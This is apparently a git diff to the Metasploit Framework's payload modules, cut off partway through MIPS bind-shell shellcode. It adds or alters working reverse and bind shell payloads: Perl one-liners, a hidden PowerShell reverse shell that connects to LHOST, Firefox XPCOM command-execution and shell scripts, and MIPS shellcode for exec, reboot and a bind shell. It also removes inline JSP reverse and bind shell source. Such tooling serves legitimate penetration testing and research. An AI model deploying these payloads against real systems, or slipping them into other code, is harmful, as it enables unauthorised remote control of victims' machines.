+++ b/modules/payloads/singles/cmd/unix/bind_perl.rb
@@ -44,9 +44,7 @@ module Metasploit3
   # Returns the command string to use for execution
   #
   def command_string
-
-    cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
-
+     cmd = "perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'"
     return cmd
   end
 
diff --git a/modules/payloads/singles/cmd/unix/reverse_perl.rb b/modules/payloads/singles/cmd/unix/reverse_perl.rb
index 9a5da78515..f7a8ab8fd7 100644
--- a/modules/payloads/singles/cmd/unix/reverse_perl.rb
+++ b/modules/payloads/singles/cmd/unix/reverse_perl.rb
@@ -47,7 +47,7 @@ module Metasploit3
     lhost = datastore['LHOST']
     ver   = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
     lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-    cmd   = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
+    cmd   = "perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
   end
 
 end
diff --git a/modules/payloads/singles/cmd/windows/adduser.rb b/modules/payloads/singles/cmd/windows/adduser.rb
index d4149d2f32..eb69d43451 100644
--- a/modules/payloads/singles/cmd/windows/adduser.rb
+++ b/modules/payloads/singles/cmd/windows/adduser.rb
@@ -31,6 +31,7 @@ module Metasploit3
       'Handler'     => Msf::Handler::None,
       'Session'     => Msf::Sessions::CommandShell,
       'PayloadType' => 'cmd',
+      'RequiredCmd' => 'generic',
       'Payload'     =>
         {
           'Offsets' => { },
diff --git a/modules/payloads/singles/cmd/windows/bind_perl.rb b/modules/payloads/singles/cmd/windows/bind_perl.rb
index 7794ef1eb0..42da08864a 100644
--- a/modules/payloads/singles/cmd/windows/bind_perl.rb
+++ b/modules/payloads/singles/cmd/windows/bind_perl.rb
@@ -24,6 +24,7 @@ module Metasploit3
       'Handler'       => Msf::Handler::BindTcp,
       'Session'       => Msf::Sessions::CommandShell,
       'PayloadType'   => 'cmd',
+      'RequiredCmd'   => 'perl',
       'Payload'       =>
         {
           'Offsets' => { },
diff --git a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
index 0b63fc91de..283d965fbb 100644
--- a/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
+++ b/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
@@ -24,6 +24,7 @@ module Metasploit3
       'Handler'       => Msf::Handler::BindTcp,
       'Session'       => Msf::Sessions::CommandShell,
       'PayloadType'   => 'cmd',
+      'RequiredCmd'   => 'perl',
       'Payload'       =>
         {
           'Offsets' => { },
diff --git a/modules/payloads/singles/cmd/windows/bind_ruby.rb b/modules/payloads/singles/cmd/windows/bind_ruby.rb
index e9624afc17..d3eb85cbce 100644
--- a/modules/payloads/singles/cmd/windows/bind_ruby.rb
+++ b/modules/payloads/singles/cmd/windows/bind_ruby.rb
@@ -24,6 +24,7 @@ module Metasploit3
       'Handler'     => Msf::Handler::BindTcp,
       'Session'     => Msf::Sessions::CommandShell,
       'PayloadType' => 'cmd',
+      'RequiredCmd' => 'ruby',
       'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
     ))
   end
diff --git a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb
index 098bcb8865..8b040f7839 100644
--- a/modules/payloads/singles/cmd/windows/download_eval_vbs.rb
+++ b/modules/payloads/singles/cmd/windows/download_eval_vbs.rb
@@ -24,6 +24,7 @@ module Metasploit3
       'Handler'     => Msf::Handler::None,
       'Session'     => Msf::Sessions::CommandShell,
       'PayloadType' => 'cmd',
+      'RequiredCmd' => 'wscript',
       'Payload'     =>
         {
           'Offsets' => { },
diff --git a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
index 6e8e2348f5..c86d3fd57a 100644
--- a/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
+++ b/modules/payloads/singles/cmd/windows/download_exec_vbs.rb
@@ -23,6 +23,7 @@ module Metasploit3
       'Handler'     => Msf::Handler::None,
       'Session'     => Msf::Sessions::CommandShell,
       'PayloadType' => 'cmd',
+      'RequiredCmd' => 'wscript',
       'Payload'     =>
         {
           'Offsets' => { },
diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb
index 0d402f40c1..de50a32991 100644
--- a/modules/payloads/singles/cmd/windows/reverse_perl.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb
@@ -24,6 +24,7 @@ module Metasploit3
       'Handler'       => Msf::Handler::ReverseTcp,
       'Session'       => Msf::Sessions::CommandShell,
       'PayloadType'   => 'cmd',
+      'RequiredCmd'   => 'perl',
       'Payload'       =>
         {
           'Offsets' => { },
diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
new file mode 100644
index 0000000000..b9ffdd86ae
--- /dev/null
+++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb
@@ -0,0 +1,101 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/find_shell'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Windows Command Shell, Reverse TCP (via Powershell)',
+      'Description'   => 'Connect back and create a command shell via Powershell',
+      'Author'        =>
+        [
+          'Dave Kennedy', # Original payload from trustedsec on SET
+          'Ben Campbell' # Metasploit module
+        ],
+      'References'    =>
+        [
+          'URL' => 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell',
+        ],
+      # The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'win',
+      'Arch'          => ARCH_CMD,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'cmd',
+      'RequiredCmd'   => 'powershell',
+      'Payload'       =>
+        {
+          'Offsets' => { },
+          'Payload' => ''
+        }
+      ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    return super + command_string
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    lhost = datastore['LHOST']
+    lport = datastore['LPORT']
+    powershell = "function RSC{"\
+          "if ($c.Connected -eq $true) {$c.Close()};"\
+          "if ($p.ExitCode -ne $null) {$p.Close()};"\
+          "exit;"\
+        "};"\
+        "$a='#{lhost}';$p='#{lport}';$c=New-Object system.net.sockets.tcpclient;"\
+        "$c.connect($a,$p);$s=$c.GetStream();"\
+        "$nb=New-Object System.Byte[] $c.ReceiveBufferSize;"\
+        "$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';"\
+        "$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;"\
+        "$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;"\
+        "$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;"\
+        "while($os.Peek() -ne -1){"\
+          "$o += $e.GetString($os.Read())"\
+        "};"\
+        "$s.Write($e.GetBytes($o),0,$o.Length);"\
+        "$o=$null;$d=$false;$t=0;"\
+        "while (-not $d) {"\
+          "if ($c.Connected -ne $true) {RSC};"\
+          "$pos=0;$i=1; "\
+          "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\
+            "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\
+            "$pos+=$r;"\
+            "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\
+            "if ($pos -gt 0){"\
+              "$str=$e.GetString($nb,0,$pos);"\
+              "$is.write($str);start-sleep 1;"\
+              "if ($p.ExitCode -ne $null){RSC}else{"\
+                "$o=$e.GetString($os.Read());"\
+                "while($os.Peek() -ne -1){"\
+                  "$o += $e.GetString($os.Read());"\
+                  "if ($o -eq $str) {$o=''}"\
+                "};"\
+                "$s.Write($e.GetBytes($o),0,$o.length);"\
+                "$o=$null;"\
+                "$str=$null"\
+              "}"\
+            "}else{RSC}};"\
+
+    "powershell -w hidden -nop -c #{powershell}"
+  end
+
+end
diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb
index 8d789c160b..7bc046c375 100644
--- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb
+++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb
@@ -24,6 +24,7 @@ module Metasploit3
       'Handler'     => Msf::Handler::ReverseTcp,
       'Session'     => Msf::Sessions::CommandShell,
       'PayloadType' => 'cmd',
+      'RequiredCmd' => 'ruby',
       'Payload'     => { 'Offsets' => {}, 'Payload' => '' }
     ))
   end
diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb
new file mode 100644
index 0000000000..7c9b7afc9b
--- /dev/null
+++ b/modules/payloads/singles/firefox/exec.rb
@@ -0,0 +1,67 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Firefox
+
+  def initialize(info={})
+    super(merge_info(info,
+      'Name'          => 'Firefox XPCOM Execute Command',
+      'Description'   => %Q|
+        This module runs a shell command on the target OS withough touching the disk.
+        On Windows, this command will flash the command prompt momentarily.
+        This can be avoided by setting WSCRIPT to true, which drops a jscript
+        "launcher" to disk that hides the prompt.
+      |,
+      'Author'        => ['joev'],
+      'License'       => BSD_LICENSE,
+      'Platform'      => 'firefox',
+      'Arch'          => ARCH_FIREFOX
+    ))
+    register_options([
+      OptString.new('CMD', [true, "The command string to execute", 'touch /tmp/a.txt']),
+      OptBool.new('WSCRIPT', [true, "On Windows, drop a vbscript to hide the cmd prompt", false])
+    ], self.class)
+  end
+
+  def generate
+    <<-EOS
+
+      (function(){
+        #{read_file_source if datastore['WSCRIPT']}
+        #{run_cmd_source if datastore['WSCRIPT']}
+
+        var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
+        .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
+        var windows = (ua.indexOf("Windows")>-1);
+
+        var cmd = (#{JSON.unparse({ :cmd => datastore['CMD'] })}).cmd;
+        if (#{datastore['WSCRIPT']} && windows) {
+          runCmd(cmd);
+        } else {
+          var process = Components.classes["@mozilla.org/process/util;1"]
+                          .createInstance(Components.interfaces.nsIProcess);
+          var sh = Components.classes["@mozilla.org/file/local;1"]
+                    .createInstance(Components.interfaces.nsILocalFile);
+          var args;
+          if (windows) {
+            sh.initWithPath("C:\\\\Windows\\\\System32\\\\cmd.exe");
+            args = ["/c", cmd];
+          } else {
+            sh.initWithPath("/bin/sh");
+            args = ["-c", cmd];
+          }
+          process.init(sh);
+          process.run(true, args, args.length);
+        }
+      })();
+
+    EOS
+  end
+end
diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb
new file mode 100644
index 0000000000..9a91867fb7
--- /dev/null
+++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb
@@ -0,0 +1,81 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Firefox
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Command Shell, Bind TCP (via Firefox XPCOM script)',
+      'Description'   => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
+      'Author'        => ['joev'],
+      'License'       => BSD_LICENSE,
+      'Platform'      => 'firefox',
+      'Arch'          => ARCH_FIREFOX,
+      'Handler'       => Msf::Handler::BindTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'firefox',
+      'Payload'       => { 'Offsets' => {}, 'Payload' => '' }
+    ))
+  end
+
+  #
+  # Constructs the payload
+  #
+  def generate
+    super + command_string
+  end
+
+  #
+  # Returns the JS string to use for execution
+  #
+  def command_string
+    %Q|
+    (function(){
+      Components.utils.import("resource://gre/modules/NetUtil.jsm");
+      var lport = #{datastore["LPORT"]};
+      var rhost = "#{datastore['RHOST']}";
+      var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
+                             .createInstance(Components.interfaces.nsIServerSocket);
+      serverSocket.init(lport, false, -1);
+
+      var listener = {
+        onSocketAccepted: function(serverSocket, clientSocket) {
+          var outStream = clientSocket.openOutputStream(0, 0, 0);
+          var inStream = clientSocket.openInputStream(0, 0, 0);
+          var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
+                     .createInstance(Components.interfaces.nsIInputStreamPump);
+          pump.init(inStream, -1, -1, 0, 0, true);
+          pump.asyncRead(clientListener(outStream), null);
+        }
+      };
+
+      var clientListener = function(outStream) {
+        return {
+          onStartRequest: function(request, context) {},
+          onStopRequest: function(request, context) {},
+          onDataAvailable: function(request, context, stream, offset, count) {
+            var data = NetUtil.readInputStreamToString(stream, count).trim();
+            runCmd(data, function(err, output) {
+              if(!err) outStream.write(output, output.length);
+            });
+          }
+        };
+      };
+
+      #{run_cmd_source}
+
+      serverSocket.asyncListen(listener);
+    })();
+    |
+  end
+end
diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb
new file mode 100644
index 0000000000..92d32aa8c4
--- /dev/null
+++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb
@@ -0,0 +1,66 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/reverse_tcp'
+require 'msf/base/sessions/command_shell'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Firefox
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info={})
+    super(merge_info(info,
+      'Name'          => 'Command Shell, Reverse TCP (via Firefox XPCOM script)',
+      'Description'   => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
+      'Author'        => ['joev'],
+      'License'       => BSD_LICENSE,
+      'Platform'      => 'firefox',
+      'Arch'          => ARCH_FIREFOX,
+      'Handler'       => Msf::Handler::ReverseTcp,
+      'Session'       => Msf::Sessions::CommandShell,
+      'PayloadType'   => 'firefox'
+    ))
+  end
+
+  def generate
+    <<-EOS
+
+      (function(){
+        Components.utils.import("resource://gre/modules/NetUtil.jsm");
+        var host = '#{datastore["LHOST"]}';
+        var port = #{datastore["LPORT"]};
+
+        var socketTransport = Components.classes["@mozilla.org/network/socket-transport-service;1"]
+                                .getService(Components.interfaces.nsISocketTransportService);
+        var socket = socketTransport.createTransport(null, 0, host, port, null);
+        var outStream = socket.openOutputStream(0, 0, 0);
+        var inStream = socket.openInputStream(0, 0, 0);
+
+        var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
+                       .createInstance(Components.interfaces.nsIInputStreamPump);
+        pump.init(inStream, -1, -1, 0, 0, true);
+
+        var listener = {
+          onStartRequest: function(request, context) {},
+          onStopRequest: function(request, context) {},
+          onDataAvailable: function(request, context, stream, offset, count) {
+            var data = NetUtil.readInputStreamToString(stream, count).trim();
+            runCmd(data, function(err, output) {
+              if (!err) outStream.write(output, output.length);
+            });
+          }
+        };
+
+        #{run_cmd_source}
+
+        pump.asyncRead(listener, null);
+      })();
+
+    EOS
+  end
+end
diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb
index 0996f66a33..087958f27d 100644
--- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb
+++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb
@@ -4,6 +4,7 @@
 ##
 
 require 'msf/core'
+require 'msf/core/payload/jsp'
 require 'msf/core/handler/bind_tcp'
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
@@ -11,6 +12,7 @@ require 'msf/base/sessions/command_shell_options'
 module Metasploit3
 
   include Msf::Payload::Single
+  include Msf::Payload::JSP
   include Msf::Sessions::CommandShellOptions
 
   def initialize(info = {})
@@ -34,68 +36,7 @@ module Metasploit3
 
 
   def generate
-    # Modified from: http://www.security.org.sg/code/jspreverse.html
-    jsp = %q{
-      <%@page import="java.lang.*"%>
-      <%@page import="java.util.*"%>
-      <%@page import="java.io.*"%>
-      <%@page import="java.net.*"%>
-
-      <%
-        class StreamConnector extends Thread
-        {
-          InputStream is;
-          OutputStream os;
-
-          StreamConnector( InputStream is, OutputStream os )
-          {
-            this.is = is;
-            this.os = os;
-          }
-
-          public void run()
-          {
-            BufferedReader in  = null;
-            BufferedWriter out = null;
-            try
-            {
-              in  = new BufferedReader( new InputStreamReader( this.is ) );
-              out = new BufferedWriter( new OutputStreamWriter( this.os ) );
-              char buffer[] = new char[8192];
-              int length;
-              while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
-              {
-                out.write( buffer, 0, length );
-                out.flush();
-              }
-            } catch( Exception e ){}
-            try
-            {
-              if( in != null )
-                in.close();
-              if( out != null )
-                out.close();
-            } catch( Exception e ){}
-          }
-        }
-
-        try
-        {
-          ServerSocket server_socket = new ServerSocket( LPORT );
-          Socket client_socket = server_socket.accept();
-          server_socket.close();
-          Process process = Runtime.getRuntime().exec( "SHELL" );
-          ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
-          ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
-        } catch( Exception e ) {}
-      %>
-    }
-
-    jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
-
-    jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
-
-    return super + jsp
+    return super + jsp_bind_tcp
   end
 
 end
diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
index 2ab7bac8ef..dc3ecfb3d9 100644
--- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
+++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
@@ -4,6 +4,7 @@
 ##
 
 require 'msf/core'
+require 'msf/core/payload/jsp'
 require 'msf/core/handler/reverse_tcp'
 require 'msf/base/sessions/command_shell'
 require 'msf/base/sessions/command_shell_options'
@@ -11,6 +12,7 @@ require 'msf/base/sessions/command_shell_options'
 module Metasploit3
 
   include Msf::Payload::Single
+  include Msf::Payload::JSP
   include Msf::Sessions::CommandShellOptions
 
   def initialize(info = {})
@@ -34,72 +36,12 @@ module Metasploit3
 
 
   def generate
-    # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
-    jsp = %q{
-      <%@page import="java.lang.*"%>
-      <%@page import="java.util.*"%>
-      <%@page import="java.io.*"%>
-      <%@page import="java.net.*"%>
-
-      <%
-        class StreamConnector extends Thread
-        {
-          InputStream is;
-          OutputStream os;
-
-          StreamConnector( InputStream is, OutputStream os )
-          {
-            this.is = is;
-            this.os = os;
-          }
-
-          public void run()
-          {
-            BufferedReader in  = null;
-            BufferedWriter out = null;
-            try
-            {
-              in  = new BufferedReader( new InputStreamReader( this.is ) );
-              out = new BufferedWriter( new OutputStreamWriter( this.os ) );
-              char buffer[] = new char[8192];
-              int length;
-              while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
-              {
-                out.write( buffer, 0, length );
-                out.flush();
-              }
-            } catch( Exception e ){}
-            try
-            {
-              if( in != null )
-                in.close();
-              if( out != null )
-                out.close();
-            } catch( Exception e ){}
-          }
-        }
-
-        try
-        {
-          Socket socket = new Socket( "LHOST", LPORT );
-          Process process = Runtime.getRuntime().exec( "SHELL" );
-          ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
-          ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
-        } catch( Exception e ) {}
-      %>
-    }
 
     if( !datastore['LHOST'] or datastore['LHOST'].empty? )
       return super
     end
 
-    jsp = jsp.gsub( "LHOST", datastore['LHOST'] )
-
-    jsp = jsp.gsub( "LPORT", datastore['LPORT'].to_s )
-
-    jsp = jsp.gsub( "SHELL", datastore['SHELL'] )
-
-    return super + jsp
+    return super + jsp_reverse_tcp
   end
 
 end
diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb
index 58b7e5bba1..635552722b 100644
--- a/modules/payloads/singles/java/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/java/shell_reverse_tcp.rb
@@ -43,6 +43,7 @@ module Metasploit3
 
   def generate_jar(opts={})
     jar = Rex::Zip::Jar.new
+    jar.add_sub("metasploit") if opts[:random]
     @class_files.each do |path|
       1.upto(path.length - 1) do |idx|
         full = path[0,idx].join("/") + "/"
diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb
new file mode 100644
index 0000000000..a4e5dbda29
--- /dev/null
+++ b/modules/payloads/singles/linux/mipsbe/exec.rb
@@ -0,0 +1,73 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Execute Command',
+      'Description'   => %q{
+                A very small shellcode for executing commands.
+                This module is sometimes helpful for testing purposes.
+         },
+      'Author'        =>
+        [
+          'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload
+          'entropy@phiral.net'  #original payload
+        ],
+      'References'    =>
+        [
+          ['EDB', '17940']
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Payload'       =>
+        {
+          'Offsets' => {} ,
+          'Payload' => ''
+        })
+    )
+    register_options(
+      [
+        OptString.new('CMD', [ true, "The command string to execute" ]),
+      ], self.class)
+  end
+
+  #
+  # Returns the command string to use for execution
+  #
+  def command_string
+    return datastore['CMD'] || ''
+  end
+
+  def generate
+
+    shellcode =
+      "\x24\x06\x06\x66" + #li a2,1638
+      "\x04\xd0\xff\xff" + #bltzal a2,4100b4
+      "\x28\x06\xff\xff" + #slti a2,zero,-1
+      "\x27\xbd\xff\xe0" + #addiu sp,sp,-32
+      "\x27\xe4\x10\x01" + #addiu a0,ra,4097
+      "\x24\x84\xf0\x1f" + #addiu a0,a0,-4065
+      "\xaf\xa4\xff\xe8" + #sw a0,-24(sp)
+      "\xaf\xa0\xff\xec" + #sw zero,-20(sp)
+      "\x27\xa5\xff\xe8" + #addiu a1,sp,-24
+      "\x24\x02\x0f\xab" + #li v0,4011
+      "\x01\x01\x01\x0c"   #syscall 0x40404
+
+    #
+    # Constructs the payload
+    #
+    return super + shellcode + command_string + "\x00"
+
+  end
+
+end
diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb
new file mode 100644
index 0000000000..d6e15cb03b
--- /dev/null
+++ b/modules/payloads/singles/linux/mipsbe/reboot.rb
@@ -0,0 +1,55 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Reboot',
+      'Description'   => %q{
+            A very small shellcode for rebooting the system.
+            This payload is sometimes helpful for testing purposes or executing
+            other payloads that rely on initial startup procedures.
+         },
+      'Author'        =>
+        [
+          'Michael Messner <devnull@s3cur1ty.de>', #metasploit payload
+          'rigan - <imrigan@gmail.com>'  #original payload
+        ],
+      'References'    =>
+        [
+          ['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Payload'       =>
+        {
+          'Offsets' => {} ,
+          'Payload' => ''
+        })
+    )
+  end
+
+  def generate
+    shellcode =
+      "\x3c\x06\x43\x21" +  #lui     a2,0x4321
+      "\x34\xc6\xfe\xdc" +  #ori     a2,a2,0xfedc
+      "\x3c\x05\x28\x12" +  #lui     a1,0x2812
+      "\x34\xa5\x19\x69" +  #ori     a1,a1,0x1969
+      "\x3c\x04\xfe\xe1" +  #lui     a0,0xfee1
+      "\x34\x84\xde\xad" +  #ori     a0,a0,0xdead
+      "\x24\x02\x0f\xf8" +  #li      v0,4088
+      "\x01\x01\x01\x0c"    #syscall 0x40404
+
+    return super + shellcode
+  end
+
+end
diff --git a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb
new file mode 100644
index 0000000000..24a3ad0c2d
--- /dev/null
+++ b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb
@@ -0,0 +1,125 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+require 'msf/core/handler/bind_tcp'
+require 'msf/base/sessions/command_shell'
+require 'msf/base/sessions/command_shell_options'
+
+module Metasploit3
+
+  include Msf::Payload::Single
+  include Msf::Payload::Linux
+  include Msf::Sessions::CommandShellOptions
+
+  def initialize(info = {})
+    super(merge_info(info,
+      'Name'          => 'Linux Command Shell, Bind TCP Inline',
+      'Description'   => 'Listen for a connection and spawn a command shell',
+      'Author'        =>
+        [
+          'scut',             # Original mips-irix-portshell shellcode
+          'vaicebine',        # Original shellcode mod
+          'Vlatko Kosturjak', # Metasploit module (mipsle)
+          'juan vazquez'      # mipsbe conversion plus small fixes and optimizations
+        ],
+      'License'       => MSF_LICENSE,
+      'Platform'      => 'linux',
+      'Arch'          => ARCH_MIPSBE,
+      'Handler'       => Msf::Handler::BindTcp,
+      'Session'       => Msf::Sessions::CommandShellUnix,
+      'Payload'       =>
+        {
+          'Offsets' => {} ,
+          'Payload' => ''
+        })
+    )
+  end
+
+  def generate
+    if !datastore['LPORT']
+      return super
+    end
+
+    port = Integer(datastore['LPORT'])
+    port = [port].pack("n").unpack("cc");
+
+    shellcode =
+    # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
+    "\x27\xbd\xff\xe0" + #     addiu   sp,sp,-32
+    "\x24\x0e\xff\xfd" + #     li      t6,-3
+    "\x01\xc0\x20\x27" + #     nor     a0,t6,zero
+    "\x01\xc0\x28\x27" + #     nor     a1,t6,zero
+    "\x28\x06\xff\xff" + #     slti    a2,zero,-1
+    "\x24\x02\x10\x57" + #     li      v0,4183 ( __NR_socket )
+    "\x01\x01\x01\x0c" + #     syscall
+
+    # bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
+    "\x30\x50\xff\xff" + #     andi    s0,v0,0xffff
+    "\x24\x0e\xff\xef" + #     li      t6,-17                        ; t6: 0xffffffef
+    "\x01\xc0\x70\x27" + #     nor     t6,t6,zero                    ; t6: 0x10 (16)
+    "\x24\x0d\xff\xfd" + #     li      t5,-3                         ; t5: -3
+    "\x01\xa0\x68\x27" + #     nor     t5,t5,zero                    ; t5: 0x2
+    "\x01\xcd\x68\x04" + #     sllv    t5,t5,t6                      ; t5: 0x00020000
+    "\x24\x0e" + port.pack("C2") +  #     li      t6,0xFFFF (port)   ; t6: 0x115c (4444 (default LPORT))
+    "\x01\xae\x68\x25" + #     or      t5,t5,t6                      ; t5: 0x0002115c
+    "\xaf\xad\xff\xe0" + #     sw      t5,-32(sp)
+    "\xaf\xa0\xff\xe4" + #     sw      zero,-28(sp)
+    "\xaf\xa0\xff\xe8" + #     sw      zero,-24(sp)
+    "\xaf\xa0\xff\xec" + #     sw      zero,-20(sp)
+    "\x02\x10\x20\x25" + #     or      a0,s0,s0
+    "\x24\x0e\xff\xef" + #     li      t6,-17
+    "\x01\xc0\x30\x27" + #     nor     a2,t6,zero
+    "\x23\xa5\xff\xe0" + #     addi    a1,sp,-32
+    "\x24\x02\x10\x49" + #     li      v0,4169 ( __NR_bind )A
+    "\x01\x01\x01\x0c" + #     syscall
+
+    # listen(3, 257) = 0
+    "\x02\x10\x20\x25" + #     or      a0,s0,s0
